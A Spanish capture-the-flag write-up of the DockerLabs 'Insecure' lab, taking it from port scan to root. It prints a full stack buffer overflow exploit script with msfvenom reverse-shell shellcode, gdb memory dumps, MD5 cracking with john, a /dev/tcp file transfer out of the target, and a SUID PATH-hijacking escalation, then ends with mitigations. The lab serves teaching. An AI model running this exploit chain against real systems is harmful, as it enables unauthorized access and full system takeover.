September 4, 2026
DockerLabs Writeup — Insecure (Spanish)
A continuación, describo la guía de resolución del laboratorio de DockerLabs denominado “Insecure”.

By David Prieto Montero (a.k.a Pyth0nK1d)
16 min read
Este laboratorio está catalogado con la dificultad "Difícil" y su autor es "4bytes".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Análisis de binario (Binary Analysis), Contraseña débil, Desbordamiento de búfer (Buffer Overflow), Divulgación de información, Secuestro de PATH (PATH Hijacking), Set User ID (SUID)
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Un software descargable de la web permite analizar el funcionamiento del servicio desconocido expuesto detectado previamente, pudiendo detectar una vulnerabilidad de desbordamiento de búfer en este. Tras explotarlo se consigue realizar el acceso inicial al sistema como el usuario
securedev. - El descubrimiento de un hash y un listado de palabras permite dar con la contraseña asociada al usuario
johntherippery poder acceder al sistema como este. - Un binario SUID descubierto utiliza un comando del sistema sin especificar la ruta absoluta de este. Esto permite el secuestro del PATH, alterando el orden de búsqueda del binario asociado al comando y generando uno arbitrario con el mismo nombre. Esto permite escalar privilegios al usuario
root.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 80,20201 -n -Pn 172.17.0.2 -oN servicesnmap -sCV -p 80,20201 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (securedev)
En este caso se detecta que hay dos puertos abiertos:
- Puerto 80 (servicio HTTP, Apache httpd)
- Puerto 20201 (servicio desconocido)
Al revisar el puerto 80, se detecta una página que permite descargar un software en particular.
URL -> http://172.17.0.2URL -> http://172.17.0.2
Al pulsar en el enlace, realiza la descarga de un archivo que consiste en un binario en formato ELF de 32 bits denominado "secure_software".
(pulsar en "download")
file secure_software(pulsar en "download")
file secure_software
Paso 1 — Identificación de la vulnerabilidad
Tras analizar este binario se detecta en el método principal del mismo que se ejecuta la función "testing_function" cada 3 segundos.
Al revisar esta función, se detectan varios aspectos relevantes:
- Al ejecutar esta función, este muestra el mismo texto para invitar al usuario a introducir información que el servicio desconocido detectado previamente. Es decir, el texto "Enter data: ".
- Esta función parece exponer este software a través del socket 0.0.0.0:20201, lo que parece coincidir con el servicio desconocido expuesto por el sistema objetivo.
- En este software existe un posible desbordamiento de búfer (concretamente Stack-Based Buffer Overflow) debido a una inconsistencia entre los tamaños máximos entre el búfer y la entrada de texto permitida. Esto se debe a que en 32 bits,
undefined4normalmente representa un entero de 4 bytes, lo que significa que 64 elementos x 4 bytes/elemento = 256 bytes caben en el búfer definido, mientras que el tamaño máximo de lectura está definido en hexadecimal con el valor 0x400, o lo que es lo mismo en decimal 1024 ****bytes, un valor bastante superior al que permite almacenar el búfer.
Para confirmar que este archivo corresponde al servicio desconocido detectado previamente, es posible corroborarlo conectándose directamente para ver que efectivamente, devuelve el mismo texto de invitación para introducir cualquier cadena deseada.
nc 172.17.0.2 20201nc 172.17.0.2 20201
Para poder probar a explotar la vulnerabilidad detectada, al disponer del software vulnerable en el entorno local, primero se prueba con este. Para ello, se le dan permisos de ejecución y se ejecuta para que esté disponible en red.
chmod +x secure_software
./secure_software
...
Listening at 0.0.0.0:20201!chmod +x secure_software
./secure_software
...
Listening at 0.0.0.0:20201!
Se comprueba que es posible encontrarlo disponible de forma local a través del puerto 20201.
nmap -p 20201 -sCV -n -Pn localhostnmap -p 20201 -sCV -n -Pn localhost
Paso 2 — Explotación local de la vulnerabilidad
Una vez realizada esta comprobación se cierra y ejecuta nuevamente utilizando la herramienta "gdb".
gdb ./secure_software
(gdb) rgdb ./secure_software
(gdb) r
Para probar los limites de la entrada de texto libre ofrecida, primero se va a generar un patrón con una longitud determinada.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
En este punto, se realiza una conexión al servicio a la escucha de forma local y se le facilita el patrón generado.
nc localhost 20201
(pegar y enviar el patrón generado)nc localhost 20201
(pegar y enviar el patrón generado)
Al facilitar este patrón en la entrada de texto, se puede apreciar que en el servidor arroja un error "Segmentation fault", y "gdb" indica una dirección almacenada en el registro EIP.
(revisando gdb)
Program received signal SIGSEGV, Segmentation fault.
0x41306b41 in ?? ()(revisando gdb)
Program received signal SIGSEGV, Segmentation fault.
0x41306b41 in ?? ()
Conociendo el valor con el que se ha sobrescrito el registro EIP, es posible saber el offset (distancia en bytes desde el inicio del búfer hasta la dirección almacenada en el registro EIP) a utilizar para llegar hasta esa longitud. En este caso se obtiene que el offset es 300.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41306b41
...
[*] Exact match at offset 300/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41306b41
...
[*] Exact match at offset 300
Con el objetivo de facilitar tanto las pruebas como la propia explotación de la vulnerabilidad, se desarrolla un script en Python. En este caso, se encuentra adaptado para el siguiente paso, que es comprobar que se sobrescribe el registro EIP con el valor elegido.
En resumen, este script se encarga de construir la carga útil y mandarla a través del servicio a la escucha automáticamente.
# bof.py
#!/usr/bin/python3
import os
host = b"localhost"
port = b"20201"
payload = b"\x90" * 300 + b"P" * 4
# Base del exploit
exploit = b"echo '{payload}' | nc {host} {port}"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
exploit = exploit.replace(b"{host}", host)
exploit = exploit.replace(b"{port}", port)
# Ejecutar el exploit
os.system(exploit)# bof.py
#!/usr/bin/python3
import os
host = b"localhost"
port = b"20201"
payload = b"\x90" * 300 + b"P" * 4
# Base del exploit
exploit = b"echo '{payload}' | nc {host} {port}"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
exploit = exploit.replace(b"{host}", host)
exploit = exploit.replace(b"{port}", port)
# Ejecutar el exploit
os.system(exploit)Una vez creado el script, se restablece el servicio sin salir de la herramienta "gdb".
(gdb) r
...
Listening at 0.0.0.0:20201!(gdb) r
...
Listening at 0.0.0.0:20201!
A continuación, se ejecuta el script para que mande la carga útil esperada.
python3 bof.pypython3 bof.py
Al revisar el servidor, se puede apreciar que la dirección almacenada en el registro EIP es remplazada por los 4 bytes especificados en la cadena provista, lo que confirma que el offset elegido es correcto y que esta dirección es personalizable.
(revisando gdb)
Program received signal SIGSEGV, Segmentation fault.
0x50505050 in ?? ()(revisando gdb)
Program received signal SIGSEGV, Segmentation fault.
0x50505050 in ?? ()
Una vez visto que el script está funcionando como se esperaba, se modifica para incluir los elementos necesarios en la siguiente fase de la explotación: definir una resbaladilla de NOPs (también conocido "NOP sled") y el código de shell (también conocido como "shellcode").
En resumen, el código de shell o shellcode es un pequeño fragmento de código o comandos que se utiliza en la explotación de vulnerabilidades como buffer overflow para ejecutar instrucciones personalizadas directamente en la memoria de un sistema, mientras que una NOP sled es una serie de instrucciones NOP que se colocan antes del código de shell (shellcode).
El propósito de una NOP sled es aumentar la probabilidad de que el flujo de ejecución caiga dentro del ****shellcode, incluso si la dirección exacta no se conoce con precisión.
El problema a la hora de definir esta dirección de memoria es que no siempre se conoce la dirección exacta del shellcode en la pila y un pequeño error en la dirección puede hacer que no lo llegue a ejecutar.
Por eso, el NOP sled actúa como una especie de "zona de aterrizaje segura". De esta forma, si el registro EIP apunta a cualquier parte del NOP sled, el procesador ejecutará NOPs hasta llegar al shellcode, haciendo que amplíe el rango de direcciones válidas para que las probabilidades de que la explotación funcione aumenten.
Una vez conocidos los detalles y entendiendo lo que se incluye, se prueba a añadir en la carga útil del exploit un NOP sled de 150 NOPs y una shellcode compatible que se encargue de abrir una consola interactiva.
La dirección definida para el registro EIP no se modifica aún, ya que primero se debe conocer en que direcciones de memoria se define el NOP sled para saber cual definir.
# bof.py
#!/usr/bin/python3
import os
host = b"localhost"
port = b"20201"
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 300 + b"P" * 4 + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' | nc {host} {port}"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
exploit = exploit.replace(b"{host}", host)
exploit = exploit.replace(b"{port}", port)
# Ejecutar el exploit
os.system(exploit)# bof.py
#!/usr/bin/python3
import os
host = b"localhost"
port = b"20201"
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 300 + b"P" * 4 + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' | nc {host} {port}"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
exploit = exploit.replace(b"{host}", host)
exploit = exploit.replace(b"{port}", port)
# Ejecutar el exploit
os.system(exploit)Una vez modificado el script, se restablece el servicio sin salir de la herramienta "gdb".
(gdb) r
...
Listening at 0.0.0.0:20201!(gdb) r
...
Listening at 0.0.0.0:20201!
A continuación, se vuelve a ejecutar el script para que mande la carga útil esperada.
python3 bof.pypython3 bof.py
Al revisar el servicio, se puede apreciar que la dirección almacenada en el registro EIP es remplazada por los 4 bytes especificados en la cadena provista. Sin embargo, como esta vez se ha incluido el NOP sled, se va a comprobar en qué direcciones se encuentra junto al shellcode definido.
# Mostrar 300 palabras de memoria, comenzando desde la dirección almacenada en el registro ESP (Extended Stack Pointer)
# ESP: Registro que apunta a la cima de la pila en memoria que gestiona el flujo del programa y cambia según la instrucción ejecutada.
(gdb) x/300wx $esp
...
0xffffce40: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce50: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce60: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce70: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce80: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce90: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcea0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffceb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcec0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffced0: 0x90909090 0x0b6a9090 0x66529958 0x89702d68
0xffffcee0: 0x686a52e1 0x61622f68 0x622f6873 0xe3896e69
0xffffcef0: 0x89535152 0x0a80cde1 0xffffcf14 0x00000000
0xffffcf00: 0x00000000 0xf7fcbfa0 0xffffcf0c 0x00000038
0xffffcf10: 0x00000001 0xffffd0e7 0x00000000 0xffffd126
0xffffcf20: 0xffffd135 0xffffd149 0xffffd16c 0xffffd1a2# Mostrar 300 palabras de memoria, comenzando desde la dirección almacenada en el registro ESP (Extended Stack Pointer)
# ESP: Registro que apunta a la cima de la pila en memoria que gestiona el flujo del programa y cambia según la instrucción ejecutada.
(gdb) x/300wx $esp
...
0xffffce40: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce50: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce60: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce70: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce80: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffce90: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcea0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffceb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcec0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffced0: 0x90909090 0x0b6a9090 0x66529958 0x89702d68
0xffffcee0: 0x686a52e1 0x61622f68 0x622f6873 0xe3896e69
0xffffcef0: 0x89535152 0x0a80cde1 0xffffcf14 0x00000000
0xffffcf00: 0x00000000 0xf7fcbfa0 0xffffcf0c 0x00000038
0xffffcf10: 0x00000001 0xffffd0e7 0x00000000 0xffffd126
0xffffcf20: 0xffffd135 0xffffd149 0xffffd16c 0xffffd1a2
Como se puede apreciar, la shellcode ha sido incluida justo en el medio del NOP sled, lo que deja un rango amplio para seleccionar una dirección adecuada para la explotación. En este caso, se prueba a seleccionar la dirección en la que se empieza a cargar la shellcode: "0xffffced0"
Por ello, tras conocer una posible dirección de memoria válida, se modifica en el script el valor que debe almacenar el registro EIP para que use esta, definiéndola en formato little-endian (byte menos significativo primero).
# bof.py
#!/usr/bin/python3
import os
host = b"localhost"
port = b"20201"
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 300 + b"\xd0\xce\xff\xff" + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' | nc {host} {port}"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
exploit = exploit.replace(b"{host}", host)
exploit = exploit.replace(b"{port}", port)
# Ejecutar el exploit
os.system(exploit)# bof.py
#!/usr/bin/python3
import os
host = b"localhost"
port = b"20201"
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 300 + b"\xd0\xce\xff\xff" + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' | nc {host} {port}"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
exploit = exploit.replace(b"{host}", host)
exploit = exploit.replace(b"{port}", port)
# Ejecutar el exploit
os.system(exploit)Una vez modificado el script en lo que es su última versión, se restablece el servicio, pero esta vez sin usar la herramienta "gdb".
(gdb) quit
Quit anyway? y
./secure_software
...
Listening at 0.0.0.0:20201!(gdb) quit
Quit anyway? y
./secure_software
...
Listening at 0.0.0.0:20201!
A continuación, se vuelve a ejecutar el script para que mande la carga útil esperada.
python3 bof.pypython3 bof.py
Al revisar el servicio, se puede apreciar que la ejecución ha resultado en la apertura de una consola interactiva, lo que indica que la explotación ha sido satisfactoria. Se puede comprobar que se está ejecutando en el contexto del usuario local, ya que es el contexto en el que se ha puesto disponible a modo de prueba este servicio.
whoamiwhoami
Paso 3 — Explotación local de la vulnerabilidad (consola inversa)
Como la interacción se realiza desde el propio servicio, es necesario crear una consola inversa que sea la que se ejecute en lugar de esta consola interactiva para poder capturarla y obtener acceso a este.
Por ello, con el objetivo de aprovechar el script desarrollado, se genera una shellcode que permita ejecutar una consola inversa compatible utilizando la herramienta "msfvenom".
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -f python -b "\x00\x0a\x0d" -v shellcodemsfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -f python -b "\x00\x0a\x0d" -v shellcode
A continuación, se adapta el script desarrollado para incluir la shellcode generada.
# bof.py
#!/usr/bin/python3
import os
host = b"localhost"
port = b"20201"
nops = b"\x90" * 150
# Shellcode generation: msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -f python -b "\x00\x0a\x0d" -v shellcode
shellcode = b"\xbf\x87\x7c\xba\x9f\xdb\xd5\xd9\x74\x24\xf4"
shellcode += b"\x5d\x2b\xc9\xb1\x12\x31\x7d\x12\x83\xc5\x04"
shellcode += b"\x03\xfa\x72\x58\x6a\x35\x50\x6b\x76\x66\x25"
shellcode += b"\xc7\x13\x8a\x20\x06\x53\xec\xff\x49\x07\xa9"
shellcode += b"\x4f\x76\xe5\xc9\xf9\xf0\x0c\xa1\x86\x02\xef"
shellcode += b"\x30\x11\x01\xef\x37\xd8\x8c\x0e\x87\x7c\xdf"
shellcode += b"\x81\xb4\x33\xdc\xa8\xdb\xf9\x63\xf8\x73\x6c"
shellcode += b"\x4b\x8e\xeb\x18\xbc\x5f\x89\xb1\x4b\x7c\x1f"
shellcode += b"\x11\xc5\x62\x2f\x9e\x18\xe4"
payload = b"\x90" * 300 + b"\xd0\xce\xff\xff" + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' | nc {host} {port}"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
exploit = exploit.replace(b"{host}", host)
exploit = exploit.replace(b"{port}", port)
# Ejecutar el exploit
os.system(exploit)# bof.py
#!/usr/bin/python3
import os
host = b"localhost"
port = b"20201"
nops = b"\x90" * 150
# Shellcode generation: msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -f python -b "\x00\x0a\x0d" -v shellcode
shellcode = b"\xbf\x87\x7c\xba\x9f\xdb\xd5\xd9\x74\x24\xf4"
shellcode += b"\x5d\x2b\xc9\xb1\x12\x31\x7d\x12\x83\xc5\x04"
shellcode += b"\x03\xfa\x72\x58\x6a\x35\x50\x6b\x76\x66\x25"
shellcode += b"\xc7\x13\x8a\x20\x06\x53\xec\xff\x49\x07\xa9"
shellcode += b"\x4f\x76\xe5\xc9\xf9\xf0\x0c\xa1\x86\x02\xef"
shellcode += b"\x30\x11\x01\xef\x37\xd8\x8c\x0e\x87\x7c\xdf"
shellcode += b"\x81\xb4\x33\xdc\xa8\xdb\xf9\x63\xf8\x73\x6c"
shellcode += b"\x4b\x8e\xeb\x18\xbc\x5f\x89\xb1\x4b\x7c\x1f"
shellcode += b"\x11\xc5\x62\x2f\x9e\x18\xe4"
payload = b"\x90" * 300 + b"\xd0\xce\xff\xff" + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' | nc {host} {port}"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
exploit = exploit.replace(b"{host}", host)
exploit = exploit.replace(b"{port}", port)
# Ejecutar el exploit
os.system(exploit)Se vuelve a ejecutar el servicio sin usar "gdb".
./secure_software
...
Listening at 0.0.0.0:20201!./secure_software
...
Listening at 0.0.0.0:20201!
Se establece el puerto a la escucha para capturar la consola inversa.
nc -nvlp 1337nc -nvlp 1337
A continuación, se vuelve a ejecutar el script para que mande la carga útil esperada.
python3 bof.pypython3 bof.py
Al revisar el puerto a la escucha previamente establecido, se puede comprobar que se vuelve a obtener acceso esta vez con el usuario local. De esta forma ha sido posible verificar que se puede obtener acceso de forma remota a este servicio.
whoamiwhoami
Paso 4 — Explotación de la vulnerabilidad en el servicio remoto (acceso inicial al sistema objetivo)
En este punto, es necesario adaptar tanto la consola inversa generada como el script para que funcionen en este caso con el servicio remoto y poder así obtener acceso al sistema objetivo de la misma forma que se ha reproducido en local.
Para ello, primero se genera una nueva consola inversa, que apunte esta vez a la IP del sistema local accesible a través de red.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.17.0.1 LPORT=1337 -f python -b "\x00\x0a\x0d" -v shellcodemsfvenom -p linux/x86/shell_reverse_tcp LHOST=172.17.0.1 LPORT=1337 -f python -b "\x00\x0a\x0d" -v shellcode
Como en este caso no se conoce en que dirección de memoria puede estar accesible la shellcode, es necesario buscar la dirección de la instrucción JMP ESP y utilizar esta para obtener acceso a la parte superior de la pila directamente. En este caso, la dirección de esta instrucción se encuentra en 0x08049213.
objdump -d secure_software | grep -i jmp | grep -i espobjdump -d secure_software | grep -i jmp | grep -i esp
Por ello, tras conocer esta, se modifica en el script el valor que debe almacenar el registro EIP para que use esta, definiendo esta en formato little-endian (byte menos significativo primero), además de ajustar el host al que apuntar y la nueva shellcode generada.
# bof.py
#!/usr/bin/python3
import os
host = b"172.17.0.2"
port = b"20201"
nops = b"\x90" * 150
# Shellcode generation: msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.17.0.1 LPORT=1337 -f python -b "\x00\x0a\x0d" -v shellcode
shellcode = b"\xbd\x12\xd4\xcf\xfe\xda\xdb\xd9\x74\x24\xf4"
shellcode += b"\x5e\x31\xc9\xb1\x12\x83\xee\xfc\x31\x6e\x0e"
shellcode += b"\x03\x7c\xda\x2d\x0b\xb1\x39\x46\x17\xe2\xfe"
shellcode += b"\xfa\xb2\x06\x88\x1c\xf2\x60\x47\x5e\x60\x35"
shellcode += b"\xe7\x60\x4a\x45\x4e\xe6\xad\x2d\xfd\x09\x4e"
shellcode += b"\xac\x95\x2b\x4e\xab\x5c\xa5\xaf\x03\xf8\xe5"
shellcode += b"\x7e\x30\xb6\x05\x08\x57\x75\x89\x58\xff\xe8"
shellcode += b"\xa5\x2f\x97\x9c\x96\xe0\x05\x34\x60\x1d\x9b"
shellcode += b"\x95\xfb\x03\xab\x11\x31\x43"
payload = b"\x90" * 300 + b"\x13\x92\x04\x08" + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' | nc {host} {port}"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
exploit = exploit.replace(b"{host}", host)
exploit = exploit.replace(b"{port}", port)
# Ejecutar el exploit
os.system(exploit)# bof.py
#!/usr/bin/python3
import os
host = b"172.17.0.2"
port = b"20201"
nops = b"\x90" * 150
# Shellcode generation: msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.17.0.1 LPORT=1337 -f python -b "\x00\x0a\x0d" -v shellcode
shellcode = b"\xbd\x12\xd4\xcf\xfe\xda\xdb\xd9\x74\x24\xf4"
shellcode += b"\x5e\x31\xc9\xb1\x12\x83\xee\xfc\x31\x6e\x0e"
shellcode += b"\x03\x7c\xda\x2d\x0b\xb1\x39\x46\x17\xe2\xfe"
shellcode += b"\xfa\xb2\x06\x88\x1c\xf2\x60\x47\x5e\x60\x35"
shellcode += b"\xe7\x60\x4a\x45\x4e\xe6\xad\x2d\xfd\x09\x4e"
shellcode += b"\xac\x95\x2b\x4e\xab\x5c\xa5\xaf\x03\xf8\xe5"
shellcode += b"\x7e\x30\xb6\x05\x08\x57\x75\x89\x58\xff\xe8"
shellcode += b"\xa5\x2f\x97\x9c\x96\xe0\x05\x34\x60\x1d\x9b"
shellcode += b"\x95\xfb\x03\xab\x11\x31\x43"
payload = b"\x90" * 300 + b"\x13\x92\x04\x08" + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' | nc {host} {port}"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
exploit = exploit.replace(b"{host}", host)
exploit = exploit.replace(b"{port}", port)
# Ejecutar el exploit
os.system(exploit)Se establece nuevamente el puerto a la escucha para capturar la consola inversa.
nc -nvlp 1337nc -nvlp 1337
A continuación, se vuelve a ejecutar el script para que mande la carga útil esperada.
python3 bof.pypython3 bof.py
Tras revisar el puerto a la escucha previamente establecido, se puede comprobar que se ha obtenido acceso inicial al sistema objetivo como el usuario "securedev".
whoami
id
hostnamewhoami
id
hostname
Para terminar con el acceso inicial, se actualiza la consola inversa a una TTY utilizando Python.
tty -> (not a tty)
python3 --version
python3 -c 'import pty;pty.spawn("/bin/bash")'
tty -> (/dev/pts/0)tty -> (not a tty)
python3 --version
python3 -c 'import pty;pty.spawn("/bin/bash")'
tty -> (/dev/pts/0)
Escalada de privilegios (securedev -> johntheripper)
Al revisar el directorio principal del usuario actual, se detecta un archivo que contiene un hash aparentemente asociado al usuario "johntheripper".
Además, tras continuar enumerando, se detecta una lista de palabras perteneciente a este último usuario, el cual parece contener varias cadenas de caracteres que tienen apariencia de potenciales contraseñas.
ls -al
cat hashfile
ls -al /opt
ls -al /opt/.hidden
cat /opt/.hidden/wordsls -al
cat hashfile
ls -al /opt
ls -al /opt/.hidden
cat /opt/.hidden/words
Tras obtener el hash y la lista de palabras, se utiliza esta lista para intentar romper este hash. No tarda mucho hasta que detecta la contraseña asociada.
mousepad passwords.txt -> (pegar y guardar la lista de palabras encontrada)
mousepad johntheripper.hash -> (pegar y guardar el hash)
john --wordlist=passwords.txt --format=Raw-MD5 johntheripper.hashmousepad passwords.txt -> (pegar y guardar la lista de palabras encontrada)
mousepad johntheripper.hash -> (pegar y guardar el hash)
john --wordlist=passwords.txt --format=Raw-MD5 johntheripper.hash
Tras probar, se puede comprobar que es posible utilizar esta contraseña para acceder al sistema como el usuario "johntheripper" directamente.
su - johntheripper
(introducir contraseña descubierta)
whoami
id
hostnamesu - johntheripper
(introducir contraseña descubierta)
whoami
id
hostname
Escalada de privilegios (johntheripper -> root)
Al listar los archivos del sistema con el bit SUID habilitado, se puede comprobar que existe un binario que podría aprovecharse para realizar una escalada de privilegios. Este es el siguiente:
- /home/johntheripper/show_files
find / -perm -4000 2>/dev/null
ls -alfind / -perm -4000 2>/dev/null
ls -al
Para analizarlo más en detalle, se transfiere este a la máquina de trabajo. Para hacer esto, se pone un puerto a la escucha en la máquina de trabajo donde se va a transferir el archivo.
nc -l -p 9000 > show_filesnc -l -p 9000 > show_files
A continuación, desde la máquina objetivo como el usuario "johntheripper" se transfiere el archivo a través de ese puerto definido.
exec 3<>/dev/tcp/172.17.0.1/9000
cat /home/johntheripper/show_files >&3exec 3<>/dev/tcp/172.17.0.1/9000
cat /home/johntheripper/show_files >&3
Tras esperar un poco, se puede comprobar que el archivo ha sido transferido y se confirma que consiste en un binario en formato ELF de 64 bits.
CTRL+C (cerrar el puerto a la escucha)
ls -al show_files
file show_filesCTRL+C (cerrar el puerto a la escucha)
ls -al show_files
file show_files
A continuación, se procede a abrirlo con Ghidra para analizar en detalle su funcionamiento. Al parecer, el método principal de este utiliza el comando "ls" directamente para cumplir el objetivo de listar archivos del sistema. Sin embargo, este viene definido sin una ruta absoluta, delegando al sistema que resuelva la ruta buscando en los directorios definidos en la variable de entorno PATH. A esta vulnerabilidad se le denomina secuestro de PATH (PATH Hijacking).
Hijack Execution Flow - Path Interception by PATH Environment Variable: https://attack.mitre.org/techniques/T1574/007/
CWE-426 - Untrusted Search Path: https://cwe.mitre.org/data/definitions/426.htmlHijack Execution Flow - Path Interception by PATH Environment Variable: https://attack.mitre.org/techniques/T1574/007/
CWE-426 - Untrusted Search Path: https://cwe.mitre.org/data/definitions/426.html
Como el sistema buscará el binario para ejecutarlo, es posible secuestrar la ejecución del binario previsto creando un falso "ls" para abrir una Bash en un lugar controlado como el directorio principal del usuario actual.
Por ello, primero se crea el binario a ejecutar, que será una copia de Bash.
cp /bin/bash .
mv ./bash ./ls
ls -al ./lscp /bin/bash .
mv ./bash ./ls
ls -al ./ls
A continuación, se modifica la variable de entorno PATH para que a la hora de buscar el binario priorice el directorio principal del usuario en el orden de búsqueda, ya que en este se encuentra el binario que se desea ejecutar.
export PATH=/home/johntheripper:$PATH
echo $PATHexport PATH=/home/johntheripper:$PATH
echo $PATH
En este punto, tras ejecutar el binario SUID encontrado previamente, se puede comprobar que automáticamente se obtiene acceso al contexto de "root" directamente.
./show_files
whoami
id
hostname./show_files
whoami
id
hostname
En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
Mitigaciones a aplicar
- Evitar que los usuarios del sistema tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
- Almacenar la información sensible de forma segura (por ejemplo, utilizando gestores de contraseñas), evitando que esta pueda ser accedida por usuarios no autorizados.
- Para prevenir la vulnerabilidad buffer overflow, asegurarse de que cualquier entrada del usuario se copie o procese dentro de límites seguros, utilizando funciones que respeten el tamaño del búfer y aplicando técnicas como la verificación de longitud, el uso de compiladores con protecciones activadas, y la implementación de mecanismos como Stack Canaries y ASLR.
- Para evitar la vulnerabilidad PATH Hijacking, no confiar en rutas relativas ni en el
